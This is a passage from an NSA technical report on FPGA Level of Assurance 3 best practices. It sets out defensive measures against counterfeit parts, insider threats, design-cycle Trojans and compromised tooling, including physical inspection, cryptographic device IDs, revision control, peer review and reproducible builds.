(known good) representation of the design in the GDSII. For TD 8, the +malicious function is baked into the design and cannot be exposed by any comparison +to a golden model. +The mitigations at LoA3 for this threat rely heavily on the physical inspection of the +parts. This reliance requires the differentiation between counterfeits from the authorized +fabrication facility and counterfeits from an unauthorized fabrication facility as different +types of malicious counterfeits. Physical inspections are more intensive for detection of +a counterfeit device from an authorized fabrication facility. +Commercial (non-malicious) counterfeits, such as re-marked parts, may represent a +reliability risk. Programs with specific reliability requirements should plan for the +appropriate level of testing to verify that their design and components meet those goals. +This document will not provide the details for performing reliability testing as they differ +for each program. The program should perform sampled reliability testing against the +standards claimed by the manufacturer or those needed by the program. +Additionally, at LoA3 there is the assumption of the existence of one or more +compromised cleared insiders in the program and the presumption of an adversary +achieving difficult points of access. The insider(s) may be used by the adversary to +introduce malicious features during any portion of the product manufacturing cycle +and/or compromise a portion of the FPGA device verification process. Compromised +cleared insiders may be used to introduce counterfeit parts into the program supply +chain or to compromise the program +s acceptance testing. Overlapping checks are +therefore necessary for each threat commensurate to this level of assurance. +JFAC relies on substantial physical device inspection to address these threats because +the program has no positive control over the fabrication facility or its processes. Most of +the FPGA fabrication facilities are foreign owned and not controllable by the program or +DoD. JFAC can identify numerous +technically + feasible attacks for all fabrication +countermeasures considered. Overlapping personnel and multi-party review in the +verification process along with cryptographically protected IDs and reliability testing of +sampled devices provides additional assurance protections. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Guidelines for conducting physical inspection are provided by the SAE AS6171 +counterfeit detection standard. These guidelines are organized into +slash sheets. + Each +slash sheet is a description of a singular type of inspection process. For the purposes of +this document, the slash sheets may be divided into several purposes: +Slash sheets 2-10: describe physical inspections able to identify devices that +were manufactured in an unauthorized fab. +Slash sheets 11: describes physical inspections able to identify maliciously +altered devices that were manufactured in an authorized fab. +Slash sheets 3, 4, 6, and 10: describe physical inspections intended to uncover +malicious alterations made to the package internals of an authentic device. +More details regarding the physical inspection process are outlined below in the +mitigations. +TD 2 mitigations +Purchase from DoD authorized vendors and distributors. +Consult GIDEP and follow their guidance on counterfeit risk mitigation, including +guidance on known counterfeit parts. The program should use this information to +inform their physical analysis efforts. +Follow storage and shipping guidance when storing and transferring FPGA +devices between locations. +Verify the FPGA cryptographically secure identifier (ID) against information sent +by the vendor (not the authorized distributor). +Using the latest approved version of AS6171 with associated slash sheets +perform physical inspection/analysis on a sampling of random devices to detect +counterfeit parts. +Mitigate risk of a cleared insider involved in the physical inspection process. +TD 2 mitigation descriptions +Purchase from DoD authorized vendors and distributors +Ensure devices are purchased from vendors and distributors authorized by DoD. +Consult GIDEP +GIDEP provides technical data compiled by government and industry regarding +counterfeit hardware devices to be used for system design, development, production, +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +and logistics support processes. This information contains counterfeit risk mitigations +and physical analysis results. +Follow storage and shipping guidance +The program should document, maintain and enforce both device storage and shipping +procedures. Minimally the plan should enforce the verification of all devices upon +receipt. Once verification has taken place production devices should be stored and +maintained in a restricted area separate from non-production devices (design, test, +etc.). Production devices should be continuously tracked to include arrival of the device +by unique identifier, interaction anyone has with the device, and exit of the device from +inventory. The restricted area should enforce access control that limits access to only a +minimum subset of people that require access to support direct job responsibilities and +excludes all members of the design team. The restricted area should have a clearly +defined perimeter, but physical barriers are not required. Personnel within the area are +responsible for challenging all persons who may lack appropriate access authority. The +restricted area access should be audited to include data containing who entered/exited +the area, with a timestamp and reason for entry. +Shipping should be controlled and managed. JFAC recommends shipping material +using a commercial carrier that has been approved by the CSA to transport Secret +shipments, although the material is not Secret. Commercial carriers may be used only +within and between the 48 contiguous States and the District of Columbia or wholly +within Alaska, Hawaii, Puerto Rico, or a U.S. possession or trust territory. When +shipping using a commercial carrier take efforts to afford additional protection against +pilferage, theft, and compromise as follows. This includes using hardened containers +unless specifically authorized otherwise and ensuring the packages are sealed. The +seals should be numbered and the numbers indicated on all copies of the bill of lading +(BL). When seals are used, the BL shall be annotated substantially as follows: DO NOT +BREAK SEALS EXCEPT IN CASE OF EMERGENCY OR UPON PRIOR AUTHORITY +OF THE CONSIGNOR OR CONSIGNEE. IF FOUND BROKEN OR IF BROKEN FOR +EMERGENCY REASONS, APPLY CARRIER'S SEALS AS SOON AS POSSIBLE AND +IMMEDIATELY NOTIFY BOTH THE CONSIGNOR AND THE CONSIGNEE. +Verify the FPGA cryptographically secure identifier +For LoA3, the program should utilize an FPGA device that incorporates a +cryptographically protected ID that can be verified against information sent by the +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +vendor (not the authorized distributor). The use and verification of this type of device ID +mitigates the counterfeit parts made in an existing, non-authorized fabrication facility +sub-threat. +While the specifics of each FPGA vendor and platform vary, many newer FPGA +platforms contain this type of anti-counterfeiting feature. When these features are +sufficiently secure, such mechanisms provide an extremely cost-effective method to +detect counterfeits both at acquisition and throughout the FPGA device +s lifecycle in a +system. The biggest two advantages of such techniques are the ability to validate a +device remotely and the ability to non-destructively re-evaluate a device at any time. +By contrast to physical anti-counterfeiting techniques, properly implemented +cryptographically secure identifiers do not require destructive analysis for verification. A +typical scheme could validate such a device simply by placing it in a socket. A design +can facilitate access to the identifier through local access, such as a board header, or +remotely. Depending on the exact mitigations selected, this potentially saves two +distinct destructive steps: one at acquisition of the devices and one after assembly of +the PCB. +For device families that do not offer a cryptographically secure ID, a soft physically +unclonable function (PUF) should be used by the program for device authentication +throughout the manufacturing and lifecycle of the device. In this case, a soft PUF is +configured into each device to produce a unique identifier. This ID is then stored in +association with the physical package serial number. The PUF is then removed. It can +be reconfigured into the device at any time to retrieve the ID to validate the authenticity +of the device at any later date. The PUF should be added and the PUF ID recorded +immediately after validating the device lot as authentic. The step can then be repeated +after the component has been out of the control of the program to verify the devices. +The program should not proceed to manufacture or field LoA3 devices without one of +these ID services. Additionally, the PUF code must be protected as critical data in a +Secret level repository with strong access controls. The PUF signature should be +verified before each use with a hash value. +This kind of validation is where details matter. At the same time, each FPGA vendor +offers a unique approach, and each FPGA platform offers a unique variation. In no case +is a fully readable ID acceptable. Instead, these schemes all detail cases where the +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +device possesses a specific private cryptographic key. The device ID in this scheme +can be cloned only if an adversary is able to get access to that private key. Regardless +of the specific platform used, the public keys/identifiers of the devices being +authenticated must be delivered and maintained in a secure way. For delivery, the +vendor must provide this information to the program using a CNSS or NIST approved +authentication algorithm to transmit the data. Examples would be an ECC-signed email +with a verified certificate or an https-based file distribution system using a verified +certificate. Once received, the integrity of that list must be maintained by storing it as +critical data in a Secret level repository with strong access controls. +Remote attestation is an additional advantage enabled by a cryptographically secure ID. +While remote attestation cannot be used during acquisition and assembly due to the +potential introduction of additional vulnerabilities, it can be used throughout the rest of +the lifecycle of the device. This provides the possibility of a future where devices and +their configurations can be validated and monitored remotely. Capabilities for remote +attestation of hardware, firmware, and software are currently being developed in the +cybersecurity space as enterprise management tools. While their use is not yet fully +widespread in hardware development, inclusion of these features is a potential growth +area for the lifecycle hardware assurance of FPGA devices. +Remote attestation is a powerful and valuable technique and JFAC can consult on +appropriate remote attestation schemes, potentially based on these same mechanisms. +However, the initial counterfeit screening must be done locally, validating each specific +device. +This section describes at the highest level the specific criteria that is required for an +appropriate device ID to support anti-counterfeiting. +Cryptographically protected IDs must utilize a CNSS Policy compliant private +asymmetric key for which no read function exists. If CNSS is not a program +requirement, the program should use a CNSS or NIST approved asymmetric +authentication algorithm. +The provenance of the key must be understood in detail. +The device must be able to authenticate a nonce using this key. Each device +s ID must +be authenticated by the public vendor-provided key through decryption of the nonce. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Perform physical inspection/analysis +Perform physical analysis on a sampling of random devices to detect counterfeit parts. +This analysis applies specific, industry standard counterfeit inspection techniques, +including package analysis, x-ray of the part, and examination of the die with +comparisons against FPGA vendor provided golden samples. This physical analysis is +intended to catch parts that have been remarked or contain counterfeit die. The details +of what steps to conduct in the analysis and recommendations on how to execute them +are contained in the commercial standard document, SAE AS6171. To reduce +personnel threats, these inspections should be carried out by cleared personnel at a +Secret level or higher. +At LoA2 and LoA3, there are additional attacks introduced under the counterfeit threat: +Insertion of a malicious function into the package of an authentic device +Counterfeit parts made in an authorized fabrication facility +It is due to these new threats that physical inspection is required in all cases. In LoA1, +cryptographically secure IDs were sufficient to address the counterfeit threat. However, +this would not be sufficient at LoA2 or LoA3 since these IDs would not preclude the +insertion of a malicious function into the package of a device nor identify devices where +malicious features were added to the die during manufacturing. +Physical analysis is a sequence of device analysis steps, from least destructive to most +destructive, designed to ensure that the part in question is authentic. If a device fails a +given step, it is not authentic and there is no need to complete further steps. If all steps +are completed and the device passes, it is likely authentic, with likelihood +commensurate with the amount of effort it would take to get a counterfeit device to pass +these tests, and the fact that the device in question is subject to LoA3. Each AS6171 +test is detailed in a separate document called a +slash sheet +. Listed below are the slash +sheets that comprise the standard. +Table 2: List of AS6171 slash sheets +Test Number +Description +AS6171 +Test Methods Standard; General Requirements, +Suspect/Counterfeit, Electrical, Electronic, and Electromechanical +Parts +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Test Number +Description +AS6171/1 +Suspect/Counterfeit Test Evaluation Method +AS6171/2 +Techniques for Suspect/Counterfeit EEE Parts Detection by +External Visual Inspection, Remarking and Resurfacing, and +Surface Texture Analysis Test Methods +AS6171/3 +Techniques for Suspect/Counterfeit EEE Parts Detection by X-ray +Fluorescence Test Methods +AS6171/4 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Delid/Decapsulation Physical Analysis Test Methods +AS6171/5 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Radiological Test Methods +AS6171/6 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Acoustic Microscopy (AM) Test Methods +AS6171/7 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Electrical Test Methods +AS6171/8 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Raman Spectroscopy Test Methods +AS6171/9 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Fourier Transform Infrared Spectroscopy (FTIR) Test Methods +AS6171/10 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Thermogravimetric Analysis (TGA) Test Methods +AS6171/11 +Techniques for Suspect/Counterfeit EEE Parts Detection by +Design Recovery Test Methods +For the purposes of LoA3, the program should follow the lot sampling guidelines found +in the latest version of AS6171 and exercise the tests defined by slash sheets 1-11. +Sheets 1-10 should uncover a counterfeit fabricated in an unauthorized fabrication +facility or a malicious package insert. Sheet 11 should uncover a counterfeit fabricated +in the authorized fabrication facility. +Here are the physical analysis steps that should be taken: +If the device family possesses cryptographically protected IDs: + Perform slash sheets 2 and 3 that incorporate visual inspection and 3D xray. This effort focuses on analyzing the parts for a malicious additive +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +inserted inside the package. The number of parts sampled should be +guided by the sampling standard found in slash sheet 1. +If the device family does not possess cryptographically protected IDs: + Perform slash sheets 2-10 for the purposes of detecting an in-package +malicious insert and a die manufactured in an unauthorized facility. + Perform the steps outlined below as they relate to slash sheet 11 to +identify malicious functions added to the die during manufacture in an +authorized facility. This test may be limited to a single device. +Sheet 11 is a set of instructions for performing a full delayering, imaging of die, and +comparison against the vendor provided GDSII or an exemplar device. This analysis +exposes the FPGA die manufactured layers for comparison against a golden model +made up of either vendor provided images/GDSII or an exemplar part. An exemplar part +is one that is obtained directly from the vendor and not from an authorized distributor. +For LoA3, the program must perform the following reverse engineering comparison on a +single part: +Full chip delayering + imaging and comparison of all layers to the exemplar when the +state of the art capability allows it. This is the ideal option for detecting malicious +changes. In the case of FPGA multi-chip modules (MCM), all the dies should be +examined using this technique. Special care should be taken to validate the internal +packaging connections. +Full backside delayering + imaging and comparison of layers active, poly, contact, and +metal 1 (M1). This is the ideal option for detecting malicious changes when a state-ofthe-art lab capability is not sufficient. In the case of FPGA multi-chip modules (MCM), all +the dies should be examined using this technique. Special care should be taken to +validate the internal packaging connections. +Forward the results of the examination to JFAC with information regarding the FPGA +type and lot. The results should include a description of the verification method and the +coordinates of the windows opened for evaluation. JFAC will compile this information +over time to develop better insight into malicious attacks on the manufacturing process. +Contact JFAC for guidance when process geometries are beyond the state-of-the-art +in reverse engineering. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Reliability testing should be conducted on sampled parts using the same sampling +guidelines provided by SAE AS6171. This testing should ensure that the devices meet +the reliability requirements of the program. Do not assume compliance based upon +device datasheet information. +Cleared insider +To mitigate the risk of a cleared insider compromising the physical analysis process, +programs should: +Select sample parts bound for physical inspection in ways that specifically defeat +insider compromise. +Create cryptographically protected IDs post verification. +*Verify independent lab work using overlapping personnel and multi-party review. +Follow the mitigation guidance in TD 4: Adversary compromises system +assembly, keying, or provisioning. +Select sample parts +The selection of parts to be physically sampled must be handled in such a way that a +compromised cleared insider could not just select good parts to be sampled. Possible +options include the following: +Multiple independent parties handle part selection before shipping, and they +should physically verify that the parts selected make it all the way to the physical +inspection processes. +An independent party verifies sampling before shipping, and multiple parties +verify upon receipt that the right parts were received. +Use a non-human random selection automated process for sampling. +All physical verification and sampling work should be conducted by personnel +holding clearances of at least the Secret level and carried out in facilities cleared +to at least the Secret level. +Create cryptographically protected IDs post verification +Following physical verification above, JFAC recommends using soft PUFs to protect the +authentic parts from being swapped out for modified devices during the subsequent +program manufacturing process: +Load the soft PUF into the fabric and generate a unique ID for the FPGA die. +Record the device serial number and PUF ID. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Erase the soft PUF. +At any time during the lifecycle of the FPGA device, the soft PUF can be reloaded and +the unique ID can be extracted and compared against the expected value for +confirmation of the authenticity of the part. +Verify independent lab work +There is a need to check the lab performing the physical verification for compromised +results. If a compromised program insider is working with a compromised lab to pass +counterfeit parts off as good, the compromised lab could throw away all the devices +submitted for examination and simply create reports and photos of an exemplary +device, or they could do all the work but falsify the reports. +This threat is not completely mitigated with the following steps, but these steps increase +the difficulty of returning false reports: +Insist on the return of sampled materials and detailed reports after evaluation. +This serves as a check that the lab did the work and serves as an additional +means to verify that sampling guidelines were followed. +Require lock and key storage of all parts to be physically inspected and whether +that inspection is done by the program or by independent lab(s). +Additionally, choose one of the following: +Option 1: Insert known bad parts into the samples to be physically verified. Track which +parts those are using custom bad data and/or markings. If the independent lab does not +report those parts as bad, then either they, or who they are reporting bad parts to, or +both, may be compromised. +Option 2: Use two labs, use an independent expert observer, or both. This creates a +check against the lab being compromised. +Option 3: Perform any physical inspections done by the program, rather than an +independent lab, with two-person authentication, or duplicate them independently, or +both. +TD 3: Adversary compromises application design cycle +In this threat, a compromised insider has access to the design process and data related +to an FPGA application development effort. This insider can use their access to modify +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +design code or design constraints, change FPGA configuration settings, or swap in a +distinct configuration file that is authenticated and built with the same tools and keys +being used by the design team. The actor is in a particularly advantageous position +because they can modify the product during any phase of the design process. This +same threat surface may also be attacked via remote network intrusion. An attacker +with network access may also be able to modify important design data in a way that +introduces a Trojan or other nefarious functions. +At LoA3, it is assumed that multiple cleared and uncleared individuals may be the +adversarial actor. The uncleared people can have different positions within the supply +chain. The actors could be working independently or with each other. In this threat the +compromised insider has access to the design process and data related to an FPGA +application development effort. +TD 3 is comprised of several specific scenarios. These scenarios describe the entire +threat at TD 3 and each of the mitigations for each scenario should be implemented. +The specific scenarios are as follows: +Introduction of a compromised design into the application, +Modification of test benches or plans to reduce coverage or hide Trojan code, +Introduction of a Trojan into the application design during development, +Introduction of compromised tooling or software into the environment, +Intrusion into the internal network, +Compromised employee, +Modification of the revision control system to hide malicious code or test bench +modifications (associated mitigations are captured in the +in all cases + section +below), +Introduction of modified configuration data after generation (associated +mitigations are captured in the +in all cases + section below), +Compromise of device identifiers. +TD 3 mitigations +The best practices presented here do not constitute a standalone FPGA design flow, +but rather should be integrated into the existing design procedures. These assurance +practices incorporate industry accepted design best practices with emphasis on +documented and approved design, review, and test procedures. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +The following set of mitigations apply to all TD3 scenarios, in addition to mitigations +identified in the individual scenario sections. +In all cases mitigations +Use Secret level cleared personnel. If the program has higher level clearance +requirements, the program +s requirement should be followed. +Track critical data in a revision control system. +Enforce auditability of the requirements, architecture, design, code, tests, bugs, +and fixes. +Use revision control/version management that meets the requirements described +later in this section. +Descriptions +Use Secret level cleared personnel +Use personnel with at least a Secret level clearance to perform designated work +Track critical data in a revision control system +The program should identify and document all data that is considered critical. Each +critical data item should be stored and tracked in the revision control system. Minimally, +the following documents, data artifacts, and tool configurations should be managed in +the revision control system: +Third-party IP (3PIP) +Utilized libraries +Development files, code, software used for development, synthesis scripts, and +tools +Test benches, test plans, test procedures, and test reports +Tool configuration settings +Design documents +Enforce auditability +Enforce auditability of the requirements, architecture, design, code, tests, bugs, and +fixes. At a minimum, audit data should include what decisions were made, by whom, for +what reason, and on what date. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Use revision control/version management +Revision control/version management systems should meet the following requirements: +Allow only authorized system administrators to make changes to the underlying +revision control tool and underlying server. +Implement a backup system that mimics the primary system and is maintained by +a separate administrator. Separate system administrators should manage each +system. +Enforce administrative restrictions; restrict privileged access to authorized +personnel only; limit what users can do to the database; ensure all users are +verified; encrypt database information +both in transit and at rest; enforce secure +passwords; enforce role-based access control and privileges; and remove +unused accounts. +Remove any components or functions that are not needed; for example, remove +all sample files and default passwords. +Ensure the system provides a complete and immutable long-term change history +of every file. The system must log every change made by individuals. This +includes creation and deletion of files and content edits. The history must include +the person who made the change, what was changed, the date, and written +notes on the purpose of each change. +Ensure the system stores a reliable copy of assets that are currently in +production. +Ensure the system stores reliable copies of previous production versions of +assets, allowing for the complete retrieval of those versions. +Enforce password best practices (password rotation, length, etc.). In lieu of a +password, two-factor authentication can be used. +TD 3.1 Mitigating the introduction of a compromised design into the +application +In this scenario, the adversary is able to insert a Trojan into the design after the design +has been verified, but before the design is loaded for final deployment. Strict controls on +the revision control system will help prevent the adversary from making unmonitored +changes. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +To accomplish this task the adversary would have to compromise the revision control +system. That compromise could allow the adversary to change the verified configuration +files, settings, hash, or other pertinent information. To protect against this, the program +should store and isolate the verified configuration files, settings, and associated hashes. +Before the design is loaded for final deployment, the program should verify the hash to +ensure that the verified version is the same as what they are going to deploy. For extra +assurance, the program has all the necessary data to reproduce the build and can verify +the stored version against the reproduced version. +Mitigations +Physically isolate and store the application design until it is delivered. +Perform reproducible build of the application. +Descriptions +Isolate and store the application design +To protect the application design after verification but before deployment, the final +configuration file and hash should be physically isolated and stored until it is delivered +for provisioning. Ensure the file can only be accessed via authentication of two distinct +parties. No single individual should be able to access the file. The limited set of people +with access should have to follow access control procedures such that access is +controlled, monitored, logged, and auditable. +Perform reproducible build +Use a reproducible build process to verify the integrity of the FPGA synthesis and build +software. The reproducible build performs the synthesis process that takes in human +readable HDL, and other human readable inputs, and consistently generates the same +final configuration file (bitstream). It is expected that this process will, in most cases, +require the use of the same version of the Electronic Design Automation (EDA) tools, +and in some cases the same operating system version. This process will highlight the +possession of modified software where there is a mismatch. Contact the FPGA software +vendors or JFAC for more information on how to perform reproducible builds. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3.2 Mitigating the modification of test benches or plans to reduce +coverage or hide Trojan code +In this threat, the adversary makes changes to the test bench to hide malicious code, +reduce coverage or reduce functionality. +Mitigations +Create and execute a documented test plan that identifies the various test +reviews that will take place, analysis to be performed, type of testing to be +performed, and the methods used to accomplish the test. +Validate and verify test processes which include design/test team separation, +peer reviews, and use of automated tools where applicable. +Maintain test environment via configuration management as a critical system. +Descriptions +Execute a documented test plan +The program should consider assurance when creating and maintaining the test plan. +The test plan and processes should at least: +Provide a mechanism to verify all the requirements captured in the FPGA +application specification. +Explicitly list code coverage metrics, the type of testing that will be performed, +and acceptable testing guidelines. Code coverage should state how much code +is checked by the test bench, providing information about dead code in the +design and holes in the test suites. Document the decision to use/not use other +types of testing, such as directed test, constrained random stimulus, and +assertion. +Ensure code coverage includes statement coverage, branch coverage, Finite +State Machine (FSM), condition, expression, and toggle coverage. Document +any code that will not be covered and why. Ensure untested code is documented +and reviewed through the review process. Use functional tests to verify the FPGA +does what it is supposed to do. Any deviations must be documented and +approved. +Specify the verification environment which describes the tools, the software, and +the equipment needed to perform the reviews, analysis, and tests. Each of these +items should be maintained under revision control. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Document and analyze unexpected behavior and final implementation +conclusions. +Ensure all test discrepancies, bugs, etc., are resolved via a change process. +Validate and verify the test processes +The program should take care to ensure test processes consider assurance needs. This +includes design/test team separation, peer reviews, and use of automated tools where +applicable. All test discrepancies, bugs, etc., should be resolved via a change process +utilizing a change management system. The established processes should be +documented, enforced, and audited. +Maintain test environment via configuration management +The test environment should be treated as a critical system and maintained similarly to +the production environment. +TD 3.3 Mitigating the introduction of a Trojan into the application +design during development +In this scenario, malicious functionality is introduced into the application design during +the development phase. +Mitigations +Maintain bi-directional links to approved requirements. Tracing to design +decisions is permitted in support of derived requirements. +Enforce peer review best practices. +Create and execute a documented test plan. +Implement, validate, and verify test processes which include design/test team +separation, peer reviews, and use of automated tools where applicable. +Select a formal +proof + process that can validate the equivalency of the HDL and +the final configuration file. For more information on +proof + tools, contact JFAC. +Descriptions +Maintain bi-directional links to approved requirements +All requirements should be documented and traced. Functionality that is not associated +with a requirement should not be allowed. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Enforce peer review +Establish and enforce peer review processes with the following characteristics: +The author and the reviewer must be different people. +Ensure the design process has time allocated for code reviews. +Code review should be done in parallel with development, reviewing small +chunks at a time. +Anyone reviewing the code should already be familiar with the approved +architecture. +All black box portions of the design must be identified, justified, and approved. +All scripts that produce design artifacts (HDL, Netlist, etc.) must be reviewed and +approved. Ensure there are no unexpected paths, filenames, or suppressed +outputs. +Ensure the code reviews, at a minimum, verify: + The code does what it is intended to do. + The code can be traced to requirements. + The code is not needlessly complex. + Coding standards are being utilized. + No extraneous code exists: the developer is not implementing unapproved +items that may have future utility. + The code has appropriate unit tests. + Tests are well designed. + The developer used clear names for everything. + Comments are clear and useful and mostly explain + instead of +what +Execute a documented test plan +The program should consider assurance when creating and maintaining the test plan. +The test plan and processes should at least: +Provide a mechanism to verify all requirements captured in the FPGA application +specification. +Explicitly list code coverage metrics, the type of testing that will be performed, +and acceptable testing guidelines. Code coverage should state how much code +is checked by the test bench, providing information about dead code in the +design and holes in the test suites. Document the decision to use/not use other +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +types of testing such as directed test, constrained random stimulus, and +assertion. +Specify the verification environment which describes the tools, the software, and +the equipment needed to perform the reviews, analysis, and tests. Each of these +items should be maintained under revision control. +Document and analyze unexpected behavior and final implementation +conclusions. +Ensure code coverage includes statement coverage, branch coverage, FSM, +condition, expression, and toggle coverage. Document any code that will not be +covered and why. Ensure untested code is documented and reviewed through +the review process. Use functional tests to verify the FPGA does what it is +supposed to do. Any deviations must be documented and approved. +Ensure all test discrepancies, bugs, etc., are resolved via a change process. +Implement, validate, and verify test processes +The program should take care to ensure test processes consider assurance needs. This +includes design/test team separation, peer reviews, and use of automated tools where +applicable. All test discrepancies, bugs, etc., should be resolved via a change process +utilizing a change management system. The established processes should be +documented, enforced and audited +Select a formal +proof + process +Use logical equivalency checking to the greatest extent possible. Equivalency checking +is used to prove the tools did not modify the logic or configuration settings. To do this +the final bitstream is compared to the originating application HDL to demonstrate they +are logically equivalent with no extraneous logic in the final format. This approach +confirms Trojans were not inserted during the implementation steps. This check also +confirms configuration settings are maintained and not altered. Configuration settings +are those parameters included in the configuration file that affect the behavior of the +FPGA device itself, but are not a part of the program application. Examples would +include tamper settings, Joint Test Action Group (JTAG) settings, and key storage. +There are technical challenges associated with performing logical equivalency checking +(LEC) on FPGA data. Contact JFAC for information on emerging industry tools that can +assist in identifying configuration data in the FPGA formats or automate the creation of +hints files. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +TD 3.4 Mitigating the introduction of compromised tooling or software +into the environment +In this scenario, the adversary introduces compromised tooling or software into the +environment. This can be accomplished by an insider or through network intrusion. +Mitigations +Validate cryptographic hashes against hashes signed by the vendor. +*Research vulnerabilities affecting tools/platforms using commercial and JFAC +provided resources. If vulnerabilities are found, use an alternate or newer version +that does not have the vulnerability. Alternatively, perform a risk assessment and +coordinate findings with JFAC. +*Validate tools. +Validate cryptographic hashes +All parts of the software delivery should be authenticated by comparing the +cryptographic hash of all received software against the hash signed by the vendor. This +includes +install + macros and other support functions. Only accept certificates validated +by reputable third parties. Only accept publicly released software and document the +source of the hash signature and the hash itself. +Research vulnerabilities +Software and tooling vulnerabilities can be exploited for nefarious purposes. The +program should actively monitor for vulnerabilities and perform risk assessment for any +software or tools selected. Platforms and tool vulnerabilities can be found in databases +such as: +Common Vulnerabilities and Exposures (CVE) + https://cve.mitre.org +National Vulnerabilities Database (NVD) + https://nvd.nist.gov +Government Industry Data Exchange Program (GIDEP) +https://www.gidep.org/products/products.htm +DISA Security Technical Implementation Guides (STIGs) +https://public.cyber.mil/stigs/ +Searches for vendor advisories, publications and academic papers detailing +vulnerabilities in the device in question. +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +Contact the vendor technical representative for unreleased or pre-release +vulnerability reports. +If vulnerabilities are found in the software of tools +If vulnerabilities are found in the software or tools, choose one of the following options: +Option 1: Select a different tool or software that does not have published vulnerabilities +and meets the program requirements. +Option 2: Use standard formal processes and procedures to work with the vendor to +resolve the vulnerability. Once a fix is identified, accept only formal releases and do not +accept custom beta fixes, custom patches, etc., for incorporation; or +Option 3: Internally determine the vulnerability poses no significant risk to the program. +Note: If a vulnerability is identified, it is recommended to report it to the Government +Industry Data Exchange Program (GIDEP) and to contact the vendor so they may +correct it. +Validate tools +Validate that the tool delivers the expected output by selecting from one of the options +below: +Option 1: Select a formal +proof + process that can validate the equivalency of the HDL +and final configuration file. +Option 2: Use a reproducible build process to generate any deployable configuration +files, AND acquire EDA tools from at least two different distributors. +Use a formal +proof + process +Use logical equivalency checking (LEC) to the greatest extent possible. LEC is used to +prove the tools did not modify the logic or configuration settings. To do this, the final +bitstream is compared to the originating application HDL to demonstrate they are +logically equivalent with no extraneous logic in the final format. This approach confirms +Trojans were not inserted during the implementation steps. This check also confirms +configuration settings are maintained and not altered. Configuration settings are those +parameters included in the configuration file that affect the behavior of the FPGA device +U/OO/170671-23 | PP-23-1734 | JUN 2023 Ver. 1.0 +National Security Agency | Cybersecurity Technical Report +DoD Microelectronics: FPGA Level of Assurance 3 Best Practices +itself, but are not a part of the program application. Examples would include tamper +settings, JTAG settings, and key storage. +There are technical challenges associated with performing LEC on FPGA data. Contact +JFAC for information on emerging industry tools that can assist in identifying +configuration data in the FPGA formats or automate the creation of hints files. +Use a reproducible build process +A reproducible build process is a methodology to verify the integrity of the FPGA +synthesis and build software. A reproducible build performs the synthesis process +taking in human readable HDL, and other human readable inputs, and consistently +generates the same final configuration file (bitstream). +Acquire EDA tools from at least two different distributors +At LoA3, reproducible builds should be performed using independently acquired +software and installed independently on two distinct computers. It is expected that this +process will, in most cases, require the use of the same version of the EDA tools, and in +some cases the same operating system version. This process will highlight the +possession of modified software where there is a mismatch. Contact the FPGA software +vendors for more information on how to perform reproducible builds. +TD 3.5 Mitigating intrusion into the internal network +In this scenario, an adversary gains access to the internal network. With this access, the +adversary can employ multiple methods to achieve nefarious goals, such as making +modifications to tools, swapping files, etc. +Mitigations +Assign roles. +Control and monitor access, including physical and logical restrictions. +Periodically research vulnerabilities using commercial and JFAC provided +information. If vulnerabilities are found, use an 